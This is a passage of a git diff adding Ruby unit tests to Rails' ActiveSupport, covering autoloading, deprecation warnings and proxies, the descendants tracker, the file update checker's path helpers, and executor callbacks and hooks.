+    old_path = ActiveSupport::Dependencies.autoload_once_paths
+    with_loading "dependencies", "autoloading_fixtures" do
+      ActiveSupport::Dependencies.autoload_once_paths = [ActiveSupport::Dependencies.autoload_paths.last]
+      assert_not defined?(CrossSiteDependency)
+      assert_nothing_raised { CrossSiteDepender.nil? }
+      assert defined?(CrossSiteDependency)
+      assert_not ActiveSupport::Dependencies.autoloaded?(CrossSiteDependency),
+        "CrossSiteDependency shouldn't be marked as autoloaded!"
+      ActiveSupport::Dependencies.clear
+      assert defined?(CrossSiteDependency),
+        "CrossSiteDependency shouldn't have been unloaded!"
+    end
+  ensure
+    ActiveSupport::Dependencies.autoload_once_paths = old_path
+    remove_constants(:CrossSiteDependency)
+  end
+
+  def test_hook_called_multiple_times
+    assert_nothing_raised { ActiveSupport::Dependencies.hook! }
+  end
+
+  def test_load_and_require_stay_private
+    assert_includes Object.private_methods, :load
+    assert_includes Object.private_methods, :require
+
+    ActiveSupport::Dependencies.unhook!
+
+    assert_includes Object.private_methods, :load
+    assert_includes Object.private_methods, :require
+  ensure
+    ActiveSupport::Dependencies.hook!
+  end
+end
diff --git a/activesupport/test/dependencies_test_helpers.rb b/activesupport/test/dependencies_test_helpers.rb
new file mode 100644
index 0000000000..b54a7e70c8
--- /dev/null
+++ b/activesupport/test/dependencies_test_helpers.rb
@@ -0,0 +1,30 @@
+# frozen_string_literal: true
+
+module DependenciesTestHelpers
+  def with_loading(*from)
+    old_mechanism, ActiveSupport::Dependencies.mechanism = ActiveSupport::Dependencies.mechanism, :load
+    this_dir = __dir__
+    parent_dir = File.dirname(this_dir)
+    path_copy = $LOAD_PATH.dup
+    $LOAD_PATH.unshift(parent_dir) unless $LOAD_PATH.include?(parent_dir)
+    prior_autoload_paths = ActiveSupport::Dependencies.autoload_paths
+    ActiveSupport::Dependencies.autoload_paths = from.collect { |f| "#{this_dir}/#{f}" }
+    yield
+  ensure
+    $LOAD_PATH.replace(path_copy)
+    ActiveSupport::Dependencies.autoload_paths = prior_autoload_paths
+    ActiveSupport::Dependencies.mechanism = old_mechanism
+    ActiveSupport::Dependencies.explicitly_unloadable_constants = []
+    ActiveSupport::Dependencies.clear
+  end
+
+  def with_autoloading_fixtures(&block)
+    with_loading "autoloading_fixtures", &block
+  end
+
+  def remove_constants(*constants)
+    constants.each do |constant|
+      Object.send(:remove_const, constant) if Object.const_defined?(constant)
+    end
+  end
+end
diff --git a/activesupport/test/deprecation/method_wrappers_test.rb b/activesupport/test/deprecation/method_wrappers_test.rb
new file mode 100644
index 0000000000..04e2325754
--- /dev/null
+++ b/activesupport/test/deprecation/method_wrappers_test.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/deprecation"
+
+class MethodWrappersTest < ActiveSupport::TestCase
+  def setup
+    @klass = Class.new do
+      def new_method; "abc" end
+      alias_method :old_method, :new_method
+    end
+  end
+
+  def test_deprecate_methods_warning_default
+    warning = /old_method is deprecated and will be removed from Rails \d.\d \(use new_method instead\)/
+    ActiveSupport::Deprecation.deprecate_methods(@klass, old_method: :new_method)
+
+    assert_deprecated(warning) { assert_equal "abc", @klass.new.old_method }
+  end
+
+  def test_deprecate_methods_warning_with_optional_deprecator
+    warning = /old_method is deprecated and will be removed from MyGem next-release \(use new_method instead\)/
+    deprecator = ActiveSupport::Deprecation.new("next-release", "MyGem")
+    ActiveSupport::Deprecation.deprecate_methods(@klass, old_method: :new_method, deprecator: deprecator)
+
+    assert_deprecated(warning, deprecator) { assert_equal "abc", @klass.new.old_method }
+  end
+
+  def test_deprecate_methods_warning_when_deprecated_with_custom_deprecator
+    warning = /old_method is deprecated and will be removed from MyGem next-release \(use new_method instead\)/
+    deprecator = ActiveSupport::Deprecation.new("next-release", "MyGem")
+    deprecator.deprecate_methods(@klass, old_method: :new_method)
+
+    assert_deprecated(warning, deprecator) { assert_equal "abc", @klass.new.old_method }
+  end
+end
diff --git a/activesupport/test/deprecation/proxy_wrappers_test.rb b/activesupport/test/deprecation/proxy_wrappers_test.rb
new file mode 100644
index 0000000000..2f866775f6
--- /dev/null
+++ b/activesupport/test/deprecation/proxy_wrappers_test.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/deprecation"
+
+class ProxyWrappersTest < ActiveSupport::TestCase
+  Waffles     = false
+  NewWaffles  = :hamburgers
+
+  def test_deprecated_object_proxy_doesnt_wrap_falsy_objects
+    proxy = ActiveSupport::Deprecation::DeprecatedObjectProxy.new(nil, "message")
+    assert !proxy
+  end
+
+  def test_deprecated_instance_variable_proxy_doesnt_wrap_falsy_objects
+    proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(nil, :waffles)
+    assert !proxy
+  end
+
+  def test_deprecated_constant_proxy_doesnt_wrap_falsy_objects
+    proxy = ActiveSupport::Deprecation::DeprecatedConstantProxy.new(Waffles, NewWaffles)
+    assert !proxy
+  end
+end
diff --git a/activesupport/test/deprecation_test.rb b/activesupport/test/deprecation_test.rb
new file mode 100644
index 0000000000..f2267a822f
--- /dev/null
+++ b/activesupport/test/deprecation_test.rb
@@ -0,0 +1,430 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/testing/stream"
+
+class Deprecatee
+  def initialize
+    @request = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(self, :request)
+    @_request = "there we go"
+  end
+  def request; @_request end
+  def old_request; @request end
+
+  def partially(foo = nil)
+    ActiveSupport::Deprecation.warn("calling with foo=nil is out") if foo.nil?
+  end
+
+  def not() 2 end
+  def none() 1 end
+  def one(a) a end
+  def multi(a, b, c) [a, b, c] end
+  deprecate :none, :one, :multi
+
+  def a; end
+  def b; end
+  def c; end
+  def d; end
+  def e; end
+  deprecate :a, :b, c: :e, d: "you now need to do something extra for this one"
+
+  def f=(v); end
+  deprecate :f=
+
+  module B
+    C = 1
+  end
+  A = ActiveSupport::Deprecation::DeprecatedConstantProxy.new("Deprecatee::A", "Deprecatee::B::C")
+end
+
+class DeprecateeWithAccessor
+  include ActiveSupport::Deprecation::DeprecatedConstantAccessor
+
+  module B
+    C = 1
+  end
+  deprecate_constant "A", "DeprecateeWithAccessor::B::C"
+
+  class NewException < StandardError; end
+  deprecate_constant "OldException", "DeprecateeWithAccessor::NewException"
+end
+
+class DeprecationTest < ActiveSupport::TestCase
+  include ActiveSupport::Testing::Stream
+
+  def setup
+    # Track the last warning.
+    @old_behavior = ActiveSupport::Deprecation.behavior
+    @last_message = nil
+    ActiveSupport::Deprecation.behavior = Proc.new { |message| @last_message = message }
+
+    @dtc = Deprecatee.new
+  end
+
+  def teardown
+    ActiveSupport::Deprecation.behavior = @old_behavior
+  end
+
+  def test_inline_deprecation_warning
+    assert_deprecated(/foo=nil/) do
+      @dtc.partially
+    end
+  end
+
+  def test_undeprecated
+    assert_not_deprecated do
+      assert_equal 2, @dtc.not
+    end
+  end
+
+  def test_deprecate_class_method
+    assert_deprecated(/none is deprecated/) do
+      assert_equal 1, @dtc.none
+    end
+
+    assert_deprecated(/one is deprecated/) do
+      assert_equal 1, @dtc.one(1)
+    end
+
+    assert_deprecated(/multi is deprecated/) do
+      assert_equal [1, 2, 3], @dtc.multi(1, 2, 3)
+    end
+  end
+
+  def test_deprecate_object
+    deprecated_object = ActiveSupport::Deprecation::DeprecatedObjectProxy.new(Object.new, ":bomb:")
+    assert_deprecated(/:bomb:/) { deprecated_object.to_s }
+  end
+
+  def test_nil_behavior_is_ignored
+    ActiveSupport::Deprecation.behavior = nil
+    assert_deprecated(/foo=nil/) { @dtc.partially }
+  end
+
+  def test_several_behaviors
+    @a, @b, @c = nil, nil, nil
+
+    ActiveSupport::Deprecation.behavior = [
+      lambda { |msg, callstack, horizon, gem| @a = msg },
+      lambda { |msg, callstack| @b = msg },
+      lambda { |*args| @c = args },
+    ]
+
+    @dtc.partially
+    assert_match(/foo=nil/, @a)
+    assert_match(/foo=nil/, @b)
+    assert_equal 4, @c.size
+  end
+
+  def test_raise_behaviour
+    ActiveSupport::Deprecation.behavior = :raise
+
+    message   = "Revise this deprecated stuff now!"
+    callstack = caller_locations
+
+    e = assert_raise ActiveSupport::DeprecationException do
+      ActiveSupport::Deprecation.behavior.first.call(message, callstack, "horizon", "gem")
+    end
+    assert_equal message, e.message
+    assert_equal callstack.map(&:to_s), e.backtrace.map(&:to_s)
+  end
+
+  def test_default_stderr_behavior
+    ActiveSupport::Deprecation.behavior = :stderr
+    behavior = ActiveSupport::Deprecation.behavior.first
+
+    content = capture(:stderr) {
+      assert_nil behavior.call("Some error!", ["call stack!"], "horizon", "gem")
+    }
+    assert_match(/Some error!/, content)
+    assert_match(/call stack!/, content)
+  end
+
+  def test_default_stderr_behavior_with_warn_method
+    ActiveSupport::Deprecation.behavior = :stderr
+
+    content = capture(:stderr) {
+      ActiveSupport::Deprecation.warn("Instance error!", ["instance call stack!"])
+    }
+
+    assert_match(/Instance error!/, content)
+    assert_match(/instance call stack!/, content)
+  end
+
+  def test_default_silence_behavior
+    ActiveSupport::Deprecation.behavior = :silence
+    behavior = ActiveSupport::Deprecation.behavior.first
+
+    stderr_output = capture(:stderr) {
+      assert_nil behavior.call("Some error!", ["call stack!"], "horizon", "gem")
+    }
+    assert stderr_output.empty?
+  end
+
+  def test_default_notify_behavior
+    ActiveSupport::Deprecation.behavior = :notify
+    behavior = ActiveSupport::Deprecation.behavior.first
+
+    begin
+      events = []
+      ActiveSupport::Notifications.subscribe("deprecation.my_gem_custom") { |_, **args|
+        events << args
+      }
+
+      assert_nil behavior.call("Some error!", ["call stack!"], "horizon", "MyGem::Custom")
+      assert_equal 1, events.size
+      assert_equal "Some error!", events.first[:message]
+      assert_equal ["call stack!"], events.first[:callstack]
+      assert_equal "horizon", events.first[:deprecation_horizon]
+      assert_equal "MyGem::Custom", events.first[:gem_name]
+    ensure
+      ActiveSupport::Notifications.unsubscribe("deprecation.my_gem_custom")
+    end
+  end
+
+  def test_deprecated_instance_variable_proxy
+    assert_not_deprecated { @dtc.request.size }
+
+    assert_deprecated("@request.size") { assert_equal @dtc.request.size, @dtc.old_request.size }
+    assert_deprecated("@request.to_s") { assert_equal @dtc.request.to_s, @dtc.old_request.to_s }
+  end
+
+  def test_deprecated_instance_variable_proxy_shouldnt_warn_on_inspect
+    assert_not_deprecated { assert_equal @dtc.request.inspect, @dtc.old_request.inspect }
+  end
+
+  def test_deprecated_constant_proxy
+    assert_not_deprecated { Deprecatee::B::C }
+    assert_deprecated("Deprecatee::A") { assert_equal Deprecatee::B::C, Deprecatee::A }
+    assert_not_deprecated { assert_equal Deprecatee::B::C.class, Deprecatee::A.class }
+  end
+
+  def test_deprecated_constant_accessor
+    assert_not_deprecated { DeprecateeWithAccessor::B::C }
+    assert_deprecated("DeprecateeWithAccessor::A") { assert_equal DeprecateeWithAccessor::B::C, DeprecateeWithAccessor::A }
+  end
+
+  def test_deprecated_constant_accessor_exception
+    raise DeprecateeWithAccessor::NewException.new("Test")
+  rescue DeprecateeWithAccessor::OldException => e
+    assert_kind_of DeprecateeWithAccessor::NewException, e
+  end
+
+  def test_assert_deprecated_raises_when_method_not_deprecated
+    assert_raises(Minitest::Assertion) { assert_deprecated { @dtc.not } }
+  end
+
+  def test_assert_not_deprecated
+    assert_raises(Minitest::Assertion) { assert_not_deprecated { @dtc.partially } }
+  end
+
+  def test_assert_deprecation_without_match
+    assert_deprecated do
+      @dtc.partially
+    end
+  end
+
+  def test_assert_deprecated_matches_any_warning
+    assert_deprecated "abc" do
+      ActiveSupport::Deprecation.warn "abc"
+      ActiveSupport::Deprecation.warn "def"
+    end
+  rescue Minitest::Assertion
+    flunk "assert_deprecated should match any warning in block, not just the last one"
+  end
+
+  def test_assert_not_deprecated_returns_result_of_block
+    assert_equal 123, assert_not_deprecated { 123 }
+  end
+
+  def test_assert_deprecated_returns_result_of_block
+    result = assert_deprecated("abc") do
+      ActiveSupport::Deprecation.warn "abc"
+      123
+    end
+    assert_equal 123, result
+  end
+
+  def test_assert_deprecated_warn_work_with_default_behavior
+    ActiveSupport::Deprecation.instance_variable_set("@behavior", nil)
+    assert_deprecated("abc") do
+      ActiveSupport::Deprecation.warn "abc"
+    end
+  end
+
+  def test_silence
+    ActiveSupport::Deprecation.silence do
+      assert_not_deprecated { @dtc.partially }
+    end
+
+    ActiveSupport::Deprecation.silenced = true
+    assert_not_deprecated { @dtc.partially }
+    ActiveSupport::Deprecation.silenced = false
+  end
+
+  def test_deprecation_without_explanation
+    assert_deprecated { @dtc.a }
+    assert_deprecated { @dtc.b }
+    assert_deprecated { @dtc.f = :foo }
+  end
+
+  def test_deprecation_with_alternate_method
+    assert_deprecated(/use e instead/) { @dtc.c }
+  end
+
+  def test_deprecation_with_explicit_message
+    assert_deprecated(/you now need to do something extra for this one/) { @dtc.d }
+  end
+
+  def test_deprecation_in_other_object
+    messages = []
+
+    klass = Class.new do
+      delegate :warn, :behavior=, to: ActiveSupport::Deprecation
+    end
+
+    o = klass.new
+    o.behavior = Proc.new { |message, callstack| messages << message }
+    assert_difference("messages.size") do
+      o.warn("warning")
+    end
+  end
+
+  def test_deprecated_method_with_custom_method_warning
+    deprecator = deprecator_with_messages
+
+    class << deprecator
+      private
+        def deprecated_method_warning(method, message)
+          "deprecator.deprecated_method_warning.#{method}"
+        end
+    end
+
+    deprecatee = Class.new do
+      def method
+      end
+      deprecate :method, deprecator: deprecator
+    end
+
+    deprecatee.new.method
+    assert deprecator.messages.first.match("DEPRECATION WARNING: deprecator.deprecated_method_warning.method")
+  end
+
+  def test_deprecate_with_custom_deprecator
+    custom_deprecator = Struct.new(:deprecation_warning).new
+
+    assert_called_with(custom_deprecator, :deprecation_warning, [:method, nil]) do
+      klass = Class.new do
+        def method
+        end
+        deprecate :method, deprecator: custom_deprecator
+      end
+
+      klass.new.method
+    end
+  end
+
+  def test_deprecated_constant_with_deprecator_given
+    deprecator = deprecator_with_messages
+    klass = Class.new
+    klass.const_set(:OLD, ActiveSupport::Deprecation::DeprecatedConstantProxy.new("klass::OLD", "Object", deprecator))
+    assert_difference("deprecator.messages.size") do
+      klass::OLD.to_s
+    end
+  end
+
+  def test_deprecated_constant_with_custom_message
+    deprecator = deprecator_with_messages
+
+    klass = Class.new
+    klass.const_set(:OLD, ActiveSupport::Deprecation::DeprecatedConstantProxy.new("klass::OLD", "Object", deprecator, message: "foo"))
+
+    klass::OLD.to_s
+    assert_match "foo", deprecator.messages.last
+  end
+
+  def test_deprecated_instance_variable_with_instance_deprecator
+    deprecator = deprecator_with_messages
+
+    klass = Class.new() do
+      def initialize(deprecator)
+        @request = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(self, :request, :@request, deprecator)
+        @_request = :a_request
+      end
+      def request; @_request end
+      def old_request; @request end
+    end
+
+    assert_difference("deprecator.messages.size") { klass.new(deprecator).old_request.to_s }
+  end
+
+  def test_deprecated_instance_variable_with_given_deprecator
+    deprecator = deprecator_with_messages
+
+    klass = Class.new do
+      define_method(:initialize) do
+        @request = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(self, :request, :@request, deprecator)
+        @_request = :a_request
+      end
+      def request; @_request end
+      def old_request; @request end
+    end
+
+    assert_difference("deprecator.messages.size") { klass.new.old_request.to_s }
+  end
+
+  def test_delegate_deprecator_instance
+    klass = Class.new do
+      attr_reader :last_message
+      delegate :warn, :behavior=, to: ActiveSupport::Deprecation
+
+      def initialize
+        self.behavior = [Proc.new { |message| @last_message = message }]
+      end
+
+      def deprecated_method
+        warn(deprecated_method_warning(:deprecated_method, "You are calling deprecated method"))
+      end
+
+      private
+        def deprecated_method_warning(method_name, message = nil)
+          message || "#{method_name} is deprecated and will be removed from This Library"
+        end
+    end
+
+    object = klass.new
+    object.deprecated_method
+    assert_match(/You are calling deprecated method/, object.last_message)
+  end
+
+  def test_default_deprecation_horizon_should_always_bigger_than_current_rails_version
+    assert_operator ActiveSupport::Deprecation.new.deprecation_horizon, :>, ActiveSupport::VERSION::STRING
+  end
+
+  def test_default_gem_name
+    deprecator = ActiveSupport::Deprecation.new
+
+    deprecator.send(:deprecated_method_warning, :deprecated_method, "You are calling deprecated method").tap do |message|
+      assert_match(/is deprecated and will be removed from Rails/, message)
+    end
+  end
+
+  def test_custom_gem_name
+    deprecator = ActiveSupport::Deprecation.new("2.0", "Custom")
+
+    deprecator.send(:deprecated_method_warning, :deprecated_method, "You are calling deprecated method").tap do |message|
+      assert_match(/is deprecated and will be removed from Custom/, message)
+    end
+  end
+
+  private
+    def deprecator_with_messages
+      klass = Class.new(ActiveSupport::Deprecation)
+      deprecator = klass.new
+      deprecator.behavior = Proc.new { |message, callstack| deprecator.messages << message }
+      def deprecator.messages
+        @messages ||= []
+      end
+      deprecator
+    end
+end
diff --git a/activesupport/test/descendants_tracker_test_cases.rb b/activesupport/test/descendants_tracker_test_cases.rb
new file mode 100644
index 0000000000..1f8b4a8605
--- /dev/null
+++ b/activesupport/test/descendants_tracker_test_cases.rb
@@ -0,0 +1,67 @@
+# frozen_string_literal: true
+
+require "set"
+
+module DescendantsTrackerTestCases
+  class Parent
+    extend ActiveSupport::DescendantsTracker
+  end
+
+  class Child1 < Parent
+  end
+
+  class Child2 < Parent
+  end
+
+  class Grandchild1 < Child1
+  end
+
+  class Grandchild2 < Child1
+  end
+
+  ALL = [Parent, Child1, Child2, Grandchild1, Grandchild2]
+
+  def test_descendants
+    assert_equal_sets [Child1, Grandchild1, Grandchild2, Child2], Parent.descendants
+    assert_equal_sets [Grandchild1, Grandchild2], Child1.descendants
+    assert_equal_sets [], Child2.descendants
+  end
+
+  def test_direct_descendants
+    assert_equal_sets [Child1, Child2], Parent.direct_descendants
+    assert_equal_sets [Grandchild1, Grandchild2], Child1.direct_descendants
+    assert_equal_sets [], Child2.direct_descendants
+  end
+
+  def test_clear
+    mark_as_autoloaded(*ALL) do
+      ActiveSupport::DescendantsTracker.clear
+      ALL.each do |k|
+        assert ActiveSupport::DescendantsTracker.descendants(k).empty?
+      end
+    end
+  end
+
+  private
+
+    def assert_equal_sets(expected, actual)
+      assert_equal Set.new(expected), Set.new(actual)
+    end
+
+    def mark_as_autoloaded(*klasses)
+      # If ActiveSupport::Dependencies is not loaded, forget about autoloading.
+      # This allows using AS::DescendantsTracker without AS::Dependencies.
+      if defined? ActiveSupport::Dependencies
+        old_autoloaded = ActiveSupport::Dependencies.autoloaded_constants.dup
+        ActiveSupport::Dependencies.autoloaded_constants = klasses.map(&:name)
+      end
+
+      old_descendants = ActiveSupport::DescendantsTracker.class_eval("@@direct_descendants").dup
+      old_descendants.each { |k, v| old_descendants[k] = v.dup }
+
+      yield
+    ensure
+      ActiveSupport::Dependencies.autoloaded_constants = old_autoloaded if defined? ActiveSupport::Dependencies
+      ActiveSupport::DescendantsTracker.class_eval("@@direct_descendants").replace(old_descendants)
+    end
+end
diff --git a/activesupport/test/descendants_tracker_with_autoloading_test.rb b/activesupport/test/descendants_tracker_with_autoloading_test.rb
new file mode 100644
index 0000000000..7c396b7c8e
--- /dev/null
+++ b/activesupport/test/descendants_tracker_with_autoloading_test.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/descendants_tracker"
+require "active_support/dependencies"
+require "descendants_tracker_test_cases"
+
+class DescendantsTrackerWithAutoloadingTest < ActiveSupport::TestCase
+  include DescendantsTrackerTestCases
+
+  def test_clear_with_autoloaded_parent_children_and_grandchildren
+    mark_as_autoloaded(*ALL) do
+      ActiveSupport::DescendantsTracker.clear
+      ALL.each do |k|
+        assert ActiveSupport::DescendantsTracker.descendants(k).empty?
+      end
+    end
+  end
+
+  def test_clear_with_autoloaded_children_and_grandchildren
+    mark_as_autoloaded Child1, Grandchild1, Grandchild2 do
+      ActiveSupport::DescendantsTracker.clear
+      assert_equal_sets [Child2], Parent.descendants
+      assert_equal_sets [], Child2.descendants
+    end
+  end
+
+  def test_clear_with_autoloaded_grandchildren
+    mark_as_autoloaded Grandchild1, Grandchild2 do
+      ActiveSupport::DescendantsTracker.clear
+      assert_equal_sets [Child1, Child2], Parent.descendants
+      assert_equal_sets [], Child1.descendants
+      assert_equal_sets [], Child2.descendants
+    end
+  end
+end
diff --git a/activesupport/test/descendants_tracker_without_autoloading_test.rb b/activesupport/test/descendants_tracker_without_autoloading_test.rb
new file mode 100644
index 0000000000..f5c6a3045d
--- /dev/null
+++ b/activesupport/test/descendants_tracker_without_autoloading_test.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/descendants_tracker"
+require "descendants_tracker_test_cases"
+
+class DescendantsTrackerWithoutAutoloadingTest < ActiveSupport::TestCase
+  include DescendantsTrackerTestCases
+
+  # Regression test for #8422. https://github.com/rails/rails/issues/8442
+  def test_clear_without_autoloaded_singleton_parent
+    mark_as_autoloaded do
+      parent_instance = Parent.new
+      parent_instance.singleton_class.descendants
+      ActiveSupport::DescendantsTracker.clear
+      assert !ActiveSupport::DescendantsTracker.class_variable_get(:@@direct_descendants).key?(parent_instance.singleton_class)
+    end
+  end
+end
diff --git a/activesupport/test/evented_file_update_checker_test.rb b/activesupport/test/evented_file_update_checker_test.rb
new file mode 100644
index 0000000000..9b560f7f42
--- /dev/null
+++ b/activesupport/test/evented_file_update_checker_test.rb
@@ -0,0 +1,197 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "pathname"
+require "file_update_checker_shared_tests"
+
+class EventedFileUpdateCheckerTest < ActiveSupport::TestCase
+  include FileUpdateCheckerSharedTests
+
+  def setup
+    skip if ENV["LISTEN"] == "0"
+    require "listen"
+    super
+  end
+
+  def new_checker(files = [], dirs = {}, &block)
+    ActiveSupport::EventedFileUpdateChecker.new(files, dirs, &block).tap do |c|
+      wait
+    end
+  end
+
+  def teardown
+    super
+    Listen.stop
+  end
+
+  def wait
+    sleep 1
+  end
+
+  def touch(files)
+    super
+    wait # wait for the events to fire
+  end
+
+  test "notifies forked processes" do
+    jruby_skip "Forking not available on JRuby"
+
+    FileUtils.touch(tmpfiles)
+
+    checker = new_checker(tmpfiles) {}
+    assert !checker.updated?
+
+    # Pipes used for flow control across fork.
+    boot_reader,  boot_writer  = IO.pipe
+    touch_reader, touch_writer = IO.pipe
+
+    pid = fork do
+      assert checker.updated?
+
+      # Clear previous check value.
+      checker.execute
+      assert !checker.updated?
+
+      # Fork is booted, ready for file to be touched
+      # notify parent process.
+      boot_writer.write("booted")
+
+      # Wait for parent process to signal that file
+      # has been touched.
+      IO.select([touch_reader])
+
+      assert checker.updated?
+    end
+
+    assert pid
+
+    # Wait for fork to be booted before touching files.
+    IO.select([boot_reader])
+    touch(tmpfiles)
+
+    # Notify fork that files have been touched.
+    touch_writer.write("touched")
+
+    assert checker.updated?
+
+    Process.wait(pid)
+  end
+end
+
+class EventedFileUpdateCheckerPathHelperTest < ActiveSupport::TestCase
+  def pn(path)
+    Pathname.new(path)
+  end
+
+  setup do
+    @ph = ActiveSupport::EventedFileUpdateChecker::PathHelper.new
+  end
+
+  test "#xpath returns the expanded path as a Pathname object" do
+    assert_equal pn(__FILE__).expand_path, @ph.xpath(__FILE__)
+  end
+
+  test "#normalize_extension returns a bare extension as is" do
+    assert_equal "rb", @ph.normalize_extension("rb")
+  end
+
+  test "#normalize_extension removes a leading dot" do
+    assert_equal "rb", @ph.normalize_extension(".rb")
+  end
+
+  test "#normalize_extension supports symbols" do
+    assert_equal "rb", @ph.normalize_extension(:rb)
+  end
+
+  test "#longest_common_subpath finds the longest common subpath, if there is one" do
+    paths = %w(
+      /foo/bar
+      /foo/baz
+      /foo/bar/baz/woo/zoo
+    ).map { |path| pn(path) }
+
+    assert_equal pn("/foo"), @ph.longest_common_subpath(paths)
+  end
+
+  test "#longest_common_subpath returns the root directory as an edge case" do
+    paths = %w(
+      /foo/bar
+      /foo/baz
+      /foo/bar/baz/woo/zoo
+      /wadus
+    ).map { |path| pn(path) }
+
+    assert_equal pn("/"), @ph.longest_common_subpath(paths)
+  end
+
+  test "#longest_common_subpath returns nil for an empty collection" do
+    assert_nil @ph.longest_common_subpath([])
+  end
+
+  test "#existing_parent returns the most specific existing ascendant" do
+    wd = Pathname.getwd
+
+    assert_equal wd, @ph.existing_parent(wd)
+    assert_equal wd, @ph.existing_parent(wd.join("non-existing/directory"))
+    assert_equal pn("/"), @ph.existing_parent(pn("/non-existing/directory"))
+  end
+
+  test "#filter_out_descendants returns the same collection if there are no descendants (empty)" do
+    assert_equal [], @ph.filter_out_descendants([])
+  end
+
+  test "#filter_out_descendants returns the same collection if there are no descendants (one)" do
+    assert_equal ["/foo"], @ph.filter_out_descendants(["/foo"])
+  end
+
+  test "#filter_out_descendants returns the same collection if there are no descendants (several)" do
+    paths = %w(
+      /Rails.root/app/controllers
+      /Rails.root/app/models
+      /Rails.root/app/helpers
+    ).map { |path| pn(path) }
+
+    assert_equal paths, @ph.filter_out_descendants(paths)
+  end
+
+  test "#filter_out_descendants filters out descendants preserving order" do
+    paths = %w(
+      /Rails.root/app/controllers
+      /Rails.root/app/controllers/concerns
+      /Rails.root/app/models
+      /Rails.root/app/models/concerns
+      /Rails.root/app/helpers
+    ).map { |path| pn(path) }
+
+    assert_equal paths.values_at(0, 2, 4), @ph.filter_out_descendants(paths)
+  end
+
+  test "#filter_out_descendants works on path units" do
+    paths = %w(
+      /foo/bar
+      /foo/barrrr
+    ).map { |path| pn(path) }
+
+    assert_equal paths, @ph.filter_out_descendants(paths)
+  end
+
+  test "#filter_out_descendants deals correctly with the root directory" do
+    paths = %w(
+      /
+      /foo
+      /foo/bar
+    ).map { |path| pn(path) }
+
+    assert_equal paths.values_at(0), @ph.filter_out_descendants(paths)
+  end
+
+  test "#filter_out_descendants preserves duplicates" do
+    paths = %w(
+      /foo
+      /foo/bar
+      /foo
+    ).map { |path| pn(path) }
+
+    assert_equal paths.values_at(0, 2), @ph.filter_out_descendants(paths)
+  end
+end
diff --git a/activesupport/test/executor_test.rb b/activesupport/test/executor_test.rb
new file mode 100644
index 0000000000..af441064dd
--- /dev/null
+++ b/activesupport/test/executor_test.rb
@@ -0,0 +1,242 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class ExecutorTest < ActiveSupport::TestCase
+  class DummyError < RuntimeError
+  end
+
+  def test_wrap_invokes_callbacks
+    called = []
+    executor.to_run { called << :run }
+    executor.to_complete { called << :complete }
+
+    executor.wrap do
+      called << :body
+    end
+
+    assert_equal [:run, :body, :complete], called
+  end
+
+  def test_callbacks_share_state
+    result = false
+    executor.to_run { @foo = true }
+    executor.to_complete { result = @foo }
+
+    executor.wrap {}
+
+    assert result
+  end
+
+  def test_separated_calls_invoke_callbacks
+    called = []
+    executor.to_run { called << :run }
+    executor.to_complete { called << :complete }
+
+    state = executor.run!
+    called << :body
+    state.complete!
+
+    assert_equal [:run, :body, :complete], called
+  end
+
+  def test_exceptions_unwind
+    called = []
+    executor.to_run { called << :run_1 }
+    executor.to_run { raise DummyError }
+    executor.to_run { called << :run_2 }
+    executor.to_complete { called << :complete }
+
+    assert_raises(DummyError) do
+      executor.wrap { called << :body }
+    end
+
+    assert_equal [:run_1, :complete], called
+  end
+
+  def test_avoids_double_wrapping
+    called = []
+    executor.to_run { called << :run }
+    executor.to_complete { called << :complete }
+
+    executor.wrap do
+      called << :early
+      executor.wrap do
+        called << :body
+      end
+      called << :late
+    end
+
+    assert_equal [:run, :early, :body, :late, :complete], called
+  end
+
+  def test_hooks_carry_state
+    supplied_state = :none
+
+    hook = Class.new do
+      define_method(:run) do
+        :some_state
+      end
+
+      define_method(:complete) do |state|
+        supplied_state = state
+      end
+    end.new
+
+    executor.register_hook(hook)
+
+    executor.wrap {}
+
+    assert_equal :some_state, supplied_state
+  end
+
+  def test_nil_state_is_sufficient
+    supplied_state = :none
+
+    hook = Class.new do
+      define_method(:run) do
+        nil
+      end
+
+      define_method(:complete) do |state|
+        supplied_state = state
+      end
+    end.new
+
+    executor.register_hook(hook)
+
+    executor.wrap {}
+
+    assert_nil supplied_state
+  end
+
+  def test_exception_skips_uninvoked_hook
+    supplied_state = :none
+
+    hook = Class.new do
+      define_method(:run) do
+        :some_state
+      end
+
+      define_method(:complete) do |state|
+        supplied_state = state
+      end
+    end.new
+
+    executor.to_run do
+      raise DummyError
+    end
+    executor.register_hook(hook)
+
+    assert_raises(DummyError) do
+      executor.wrap {}
+    end
+
+    assert_equal :none, supplied_state
+  end
+
+  def test_exception_unwinds_invoked_hook
+    supplied_state = :none
+
+    hook = Class.new do
+      define_method(:run) do
+        :some_state
+      end
+
+      define_method(:complete) do |state|
+        supplied_state = state
+      end
+    end.new
+
+    executor.register_hook(hook)
+    executor.to_run do
+      raise DummyError
+    end
+
+    assert_raises(DummyError) do
+      executor.wrap {}
+    end
+
+    assert_equal :some_state, supplied_state
+  end
+
+  def test_hook_insertion_order
+    invoked = []
+    supplied_state = []
+
+    hook_class = Class.new do
+      attr_accessor :letter
+
+      define_method(:initialize) do |letter|
+        self.letter = letter
+      end
+
+      define_method(:run) do
+        invoked << :"run_#{letter}"
+        :"state_#{letter}"
+      end
+
+      define_method(:complete) do |state|
+        invoked << :"complete_#{letter}"
+        supplied_state << state
+      end
+    end
+
+    executor.register_hook(hook_class.new(:a))
+    executor.register_hook(hook_class.new(:b))
+    executor.register_hook(hook_class.new(:c), outer: true)
+    executor.register_hook(hook_class.new(:d))
+
+    executor.wrap {}
+
+    assert_equal [:run_c, :run_a, :run_b, :run_d, :complete_a, :complete_b, :complete_d, :complete_c], invoked
+    assert_equal [:state_a, :state_b, :state_d, :state_c], supplied_state
+  end
+
+  def test_class_serial_is_unaffected
+    skip if !defined?(RubyVM)
+
